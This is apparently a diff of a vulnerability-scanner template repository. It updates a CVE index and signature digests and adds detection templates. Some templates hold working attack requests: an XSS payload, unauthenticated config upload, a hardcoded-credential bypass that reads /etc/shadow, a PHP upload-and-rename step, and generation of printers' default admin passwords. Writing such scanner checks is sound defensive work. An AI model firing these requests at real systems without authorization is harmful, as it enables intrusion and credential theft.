 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
 {"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
@@ -3119,7 +3124,9 @@
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
+{"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
+{"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-74fd44bfa1a1e5b38ccf7042e175641c
+de976e25778b82d3231cbadb5afc9de0

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 4a0a0047304502204c96924e0e528852de3c589165358770b3b0904c24de0cfeae5f9445594f59da022100e96002e2f5262ff59cd136f59234538c2ba03610128b81fa105966e180cef574:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d5dfd8f992e6a79094583c1d78c126e0965da10f748cb7dc06035c01adcf22f502207a5e3145dd58525752aedf94fd4fcb13190524af8905930de8f754ce0757294d:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 4a0a00473045022100c8c1004f8969944f8ba245b06ac66eb77df2b45816ecf321de8d292ba0d08dfb02203742ccd6e6c54965dd0568714fd4321444333e6d2a4d6e79e2e6942f9219667c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210093ce6083318e8c486c642a2c6b13cff96dccb6ca0850a607f1fa7e20521e0c13022100dc042fdc7d90a18ff58f4cabfbd08661710bac8fab54654c07495f0a1baac213:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 4a0a00473045022016cde7a819ca06911d870eaf4bceddb84b7e5239fd3968819c39045e5798f05e022100ef570ca9c030b744829ce5f6e94e8f87e5c0dacdb6c5b77039d3111851a3c7f1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210083ecc833f57cb86e7ce38791cb6dd1b6061c6179d37ad5df02f4d5de116fba78022100ee222739059e6892c38e37d1eaea5bb81f0081e361b1172f70daf8c7985bd9e3:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 4b0a00483046022100e148eb3783e8dbc8c782d1fa2ea7d1f1e2950c39a4ba47399cce9c31233661c8022100dcd8e84f9dd9c236d9e12d02b8374566582ec5e00120eff347bd3eb304afd350:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a3aa7ade0d01f54331d13759794c1d4e393d548b26086c434fec4de79b45e5f802202113498ce665e59fcc9690ba99f3b6b7b66bdee81e58656a59a52737544b0bc9:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 4a0a00473045022100e9c9533abd6b10f188508cc7d12cdd19ca74fc82dd2f0d1ef5b0b716652374fe02201d7fefee59bfa97631278691b358ec64226e8802aa37ea57fff5bdba19e64c4a:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200d23913323645de10c1a1d9ba76ffedca4150affddbeee1e88a257d2532d158f0220045a6411cdc98aae2879fd8017ae2cb8f5e90ab143d47b2c4db37bc5f497834e:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4a0a004730450220299f6e20fe0793afb93fb66157d56b4e05c2c487489bb13e0a144bd5c78cb31f0221008a78578f10ba21a15eb47eaea8897bf4a8c6097e3f9d1260aff9f3d7b6bc1969:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c646b29f70dd909d357dc8c7e093155a8369ee81ce1ee67d0ff5b89a6adf3325022100a7a91fac56257c66de256476b94287bc74645fd5dc9a75a41f9f539107ee4771:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 490a004630440220385c5cf126ccb8948cab2d301413aeb6493fe0e751e0b0409943cc7df39416a0022037de87a60f75e61281a214cc29ce5b8385857ff96ff512495266be48f4890974:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100999838ad5322f9db5837bf4972ddeba4698de41410ba47149c215e2d593871540220123071b3a602978556c1a3ba869e10cd7fd89f6fc168d643919ca1494697f068:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4b0a004830460221009936569a7b2b8663588d6fd7be9de334aa917d4470ee11349c6bd01c0da8c98b02210096bdca1b3716d60f65c1aa614ebbecd33d7b02cddeb170d47014fc32bf5ecf2c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200c64d7d6ff7625168cfb7d9067e12f7b084b79e57248afd961731d5962d8ed82022100842d814c54e8ce0c57a4a42e3c9de8eecb0c3e88e565eea9f736ed20a4862993:922c64590222798bb761d5b6d8e72950

helpers/wordpress/plugins/newsletter.txt

@@ -1 +1 @@
-8.9.1
+8.9.2

helpers/wordpress/plugins/wp-maintenance-mode.txt

@@ -1 +1 @@
-2.6.18
+2.6.19

http/cves/2022/CVE-2022-23397.yaml

@@ -0,0 +1,41 @@
+id: CVE-2022-23397
+
+info:
+  name: Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting
+  author: srilakivarma
+  severity: medium
+  description: |
+    The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.
+  reference:
+    - https://ado.im/cedar-gate-ez-net
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-23397
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-23397
+    cwe-id: CWE-79
+    epss-score: 0.00228
+    epss-percentile: 0.45565
+    cpe: cpe:2.3:a:cedargate:ez-net_portal:6.5.5:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: cedargate
+    product: ez-net_portal
+    shodan-query: "EZNET_"
+    fofa-query: "EZNET_"
+  tags: cve,cve2022,cedar,eznet,xss
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/EZ-NET60/AlertMessages.aspx?Usertext=<img%20src%3Dx%20onerror%3Dalert(document.domain)>"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body, "><img src=x onerror=alert(document.domain)></span>", "/EZ-NET60/")'
+          - 'contains(content_type, "text/html")'
+          - 'status_code == 200'
+        condition: and
+# digest: 490a0046304402204cfe21bc4dfe64ec9fdbc44d3b8eb76cbc98cdcf89f1c37a7919668504ea6fb402202955aed5d2449a6ce9b35a4ea547d54be7e4cf62f8b35ef6e429caf9e9588269:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-49230.yaml

@@ -0,0 +1,97 @@
+id: CVE-2023-49230
+
+info:
+  name: Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload
+  author: srilakivarma
+  severity: high
+  description: |
+    A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.
+  reference:
+    - https://www.synacktiv.com/publications%253Ffield_tags_target_id%253D4
+    - https://www.synacktiv.com/sites/default/files/2023-12/synacktiv-peplink-multiple-vulnerabilities.pdf
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-49230
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2023-49230
+    cwe-id: CWE-862
+    epss-score: 0.00091
+    epss-percentile: 0.27
+    cpe: cpe:2.3:o:peplink:balance_two_firmware:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: peplink
+    product: balance_two_firmware
+    shodan-query: html:"PEPLINK"
+  tags: cve,cve2023,peplink,intrusive,file-upload
+
+flow: http(1) && http(2) && http(3)
+variables:
+  button_value: "{{randstr}}"
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/MANGA/index.cgi"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Peplink'
+        internal: true
+
+  - raw:
+      - |
+         POST /guest/portal_admin_upload.cgi HTTP/1.1
+         Host: {{Hostname}}
+         Content-Type: multipart/form-data; boundary=---------------------------370611892836891531633729116268
+
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="option"
+
+         edit_page
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="mode"
+
+         submit
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="portal_id"
+
+         1
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="data"
+
+         {"status":"ok","config":{"login":{"access_mode":"open","message":"","tnc_content":"Terms and Conditions.","tnc_title":"Terms and Conditions","tnc_link":"terms","tnc_prompt":"I agree to #TNC_LINK#","back_login_button":"Back to Login","agree_button":"{{button_value}}","session_id1":" ","session_id2":" "},"common":{"hide_quota":"no","landing_url":"","logo_url":"logo.cgi?portal_id=1&type=preview","logo_url_def":"logo.cgi?default=1","uploaded_logo_size":0,"footer":"Powered by Peplink.","footer_default":"Powered by Peplink."},"success":{},"reach_quota":{},"quota":{"limit":{"data":0,"session_timeout":1800}}}}
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="logo_action"
+
+         x
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="logo"; filename=""
+         Content-Type: application/octet-stream
+
+         -----------------------------370611892836891531633729116268--
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"status": "save_success"'
+        internal: true
+
+  - raw:
+      - |
+        POST /guest/api.cgi HTTP/1.1
+        Host: {{Hostname}}
+
+        mode=info&option=preview&portal_id=1
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body, '{{button_value}}')"
+          - "status_code == 200"
+        condition: and
+# digest: 4a0a00473045022063b3664d5e2d072fbce47514e4f266308b71a4535b3dcaf2d5d999297854b8c20221009f1e41f28b03025c209faffb6ec9780d443aa336c44d2b1a97c51262bc90add1:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36527.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022054971f3615a022afd57b9a9e836cd970b935bfc9eca02b03b8b31ae73774a4db022100a57ef86794f486f58657c8bca7831228d25b278d6e0971ba11f01bb3f9a828da:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025550ae8a81d19e5360b7d937c7b6c76b53d11a158870be4d4f4fba4e832a7740220009b3ece6d3641529951089ccfd35c18724b5be4f985e23aa0a490d3254b3a99:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-51978.yaml

@@ -2,30 +2,35 @@ id: CVE-2024-51978
 
 info:
   name: Brother Printers – Authentication Bypass via Default Admin Password
-  author: iamnoooob,pdresearch
+  author: iamnoooob,pdresearch,MathematicianGoat
   severity: critical
   description: |
-    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.
-    The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
+    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
   reference:
     - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed
     - https://github.com/sfewer-r7/BrotherVulnerabilities
     - https://support.brother.com/g/b/faqend.aspx?c=eu_ot&lang=en&prod=group2&faqid=faq00100846_000
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-51978
   classification:
-    cvss-score: 9.8
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
     cve-id: CVE-2024-51978
-    epss-score: 0.02681
-    epss-percentile: 0.85258
+    cwe-id: CWE-1391
   metadata:
-    fofa-query:
-      - app="brother-Printer"
-    zoomeye-query:
-      - device="brother-Printer" || app="brother-Printer"
-  tags: cve,cve2024,brother,authentication,default-login
+    fofa-query: app="brother-Printer"
+    zoomeye-query: device="brother-Printer" || app="brother-Printer"
+  tags: cve,cve2024,brother,authenticated,default-login
 
 # Flow: Extract serial → Generate password → Login attempt
-flow: http(1) && javascript() && http(2) & http(3)
+flow: |
+  http(1)
+  javascript()
+  http(2)
+  if(template.csrf){
+   http(4)
+  } else {
+   http(3)
+  }
 
 javascript:
   - code: |
@@ -128,6 +133,7 @@ javascript:
     args:
       serial: "{{trim_space(replace(replace(replace_regex(srno,'(BR[A-Z0-9]+)',''),']',''),'[',''))}}"
 
+
 http:
   - raw:
       - |
@@ -167,9 +173,31 @@ http:
         part: body
         name: csrf
         group: 1
+        internal: true
         regex:
           - 'id="CSRFToken" name="CSRFToken" value="(.*?)"'
-        internal: true
+
+  - raw:
+      - |
+        POST /general/status.html HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code==200 || status_code == 301'
+          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
+        condition: and
+
+    extractors:
+      - type: dsl
+        name: login_password
+        dsl:
+          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')
+
 
   - raw:
       - |
@@ -191,4 +219,4 @@ http:
         name: login_password
         dsl:
           - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')
-# digest: 4a0a00473045022044251f2d7ba0a567db0c4afaba28c0dce966d14940c2aa04d21717bc7ffd5901022100dc6b53d3af503d353776f9009ae838051900465938058267b280961203e5f449:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206ee013df3f00551cb01df164e8c3ef3c1d2d358aa40bd30156f556a42ba2f69902203f75a956a553f352ec482b3e4117ecc3afaa67b7c3dd77c3b6ec9ce69ac4cdd2:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-27505.yaml

@@ -0,0 +1,51 @@
+id: CVE-2025-27505
+
+info:
+  name: GeoServer - Missing Authorization on REST API Index
+  author: securitytaters
+  severity: medium
+  description: |
+    GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.
+  reference:
+    - http://geoserver.org/
+    - https://geoserver.org/vulnerability/2025/06/10/cve-disclosure.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-27505
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2025-27505
+    cwe-id: CWE-862
+    cpe: cpe:2.3:a:geoserver:geoserver:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    fofa-query: app="geoserver"
+    shodan-query: http.title:"geoserver"
+    vendor: osgeo
+    product: geoserver
+  tags: cve,cve2025,geoserver,misconfig,osgeo
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest.html"
+      - "{{BaseURL}}/geoserver/rest.html"
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Geoserver Configuration API"
+
+      - type: word
+        part: body
+        words:
+          - "about/status"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a0048304602210092acb399be85f3104aa97058059696be5dcb6871962a5d2bbbc7a48dfb97013b02210090e8e0f6dcb2de85832e6744c863a10489ec3f4bed5205bfa30b0bdd3d130a81:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-31125.yaml

@@ -59,4 +59,4 @@ http:
         part: header
         words:
           - "text/javascript"
-# digest: 4a0a0047304502203a9fecb808ccdc5ce68f05736b0255b9734e2d278e11e0ad36ea0800259ec340022100d0fd370677498536ba409a3edb3450a9a1ecd288bae10fb5a6ec907dcbc0294f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dc7cc909ecd1132da04caa468989d94df791d7eb662beb3977bd52ea3ad4c271022100f8f36f9097d71b17f67ad2990320d5082b0274a37d9845dcabd9f13b81a89ded:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-32815.yaml

@@ -0,0 +1,54 @@
+id: CVE-2025-32815
+
+info:
+  name: NetMRI < 7.6.1 - Authentication Bypass via Hardcoded Credentials
+  author: iamnoooob,pdresearch
+  severity: medium
+  description: |
+    An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.
+  reference:
+    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32815
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
+    cvss-score: 6.5
+    cve-id: CVE-2025-32815
+    cwe-id: CWE-287
+    epss-score: 0.00076
+    epss-percentile: 0.23509
+    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: infoblox
+    product: netmri
+    fofa-query: icon_hash="-319724102"
+  tags: cve,cve2025,auth-bypass,netmri,hardcoded,infoblox
+
+http:
+  - raw:
+      - |
+        GET /netmri/common/SetRawCookie.tdf?name=letmein&value=%78%79%7a%0d%0a%55%73%65%72%4e%61%6d%65%3d%61%64%6d%69%6e HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic X3BtOnBtMTk3MjY=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(set_cookie, "Skipjack-")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /visual/ViewerFileServlet?fileName=/etc/shadow HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains_all(body, 'root:','bin:','netmri:')"
+          - "contains(content_type, 'text/xml')"
+        condition: and
+# digest: 4b0a00483046022100b3a41599666bba658de3010c5c6a7773975d3418ed44ffab4d4d27c1b2bc3a27022100f6f590cb3e94016d2586eacd8714191c48a9b139060ad709bf29540b52a15090:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34085.yaml

@@ -1,20 +1,25 @@
-id: wordpress-rce-simplefilelist
+id: CVE-2025-34085
 
 info:
-  name: WordPress SimpleFilelist - Remote Code Execution
+  name: WordPress Simple File List <=4.2.2 - Remote Code Execution
   author: princechaddha
   severity: critical
   description: |
-    Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a PHP file.
+    An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.
   reference:
     - https://wpscan.com/vulnerability/10192
+    - https://github.com/advisories/GHSA-8xp7-p66p-4h9h
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34085
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
-    cwe-id: CWE-77
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-34085
+    cwe-id: CWE-434
   metadata:
+    verified: true
     max-request: 3
-  tags: wp,wpscan,wordpress,wp-plugin,rce,intrusive,fileupload
+    fofa-query: body="/wp-content/plugins/simple-file-list/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,rce,file-upload,intrusive,simple-file-list
 
 variables:
   filepath: '{{rand_base(7, "abcdefghi")}}'
@@ -50,6 +55,7 @@ http:
 
         <?php echo md5("{{string}}");unlink(__FILE__);?>
         --6985fa39c0698d07f6d418b37388e1b2--
+
       - |
         POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
         Host: {{Hostname}}
@@ -58,6 +64,7 @@ http:
         Content-Type: application/x-www-form-urlencoded
 
         eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php
+
       - |
         GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1
         Host: {{Hostname}}
@@ -72,4 +79,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100a503ff7d855f8a38768a255a69ec666b9f9a5d52743647994be40e95b009b861022100b0862fcf74bc5adbd269e80ff671926e04df27a24211d6dd715bb3aac11cf498:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022035c42326ed551e9eeef34b043883b7f4d8f93d6cb022b54e1c6367e7a6feb3b802201353a9a72ff9925b3d8416d7ba81620c4e7168442b042758f9b39306e5f457a8:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-49493.yaml

@@ -0,0 +1,56 @@
+id: CVE-2025-49493
+
+info:
+  name: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
+  author: xbow,3th1c_yuk1
+  severity: critical
+  description: |
+    Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.
+  reference:
+    - https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
+    - https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-49493
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+    cvss-score: 9.1
+    cve-id: CVE-2025-49493
+    cwe-id: CWE-611
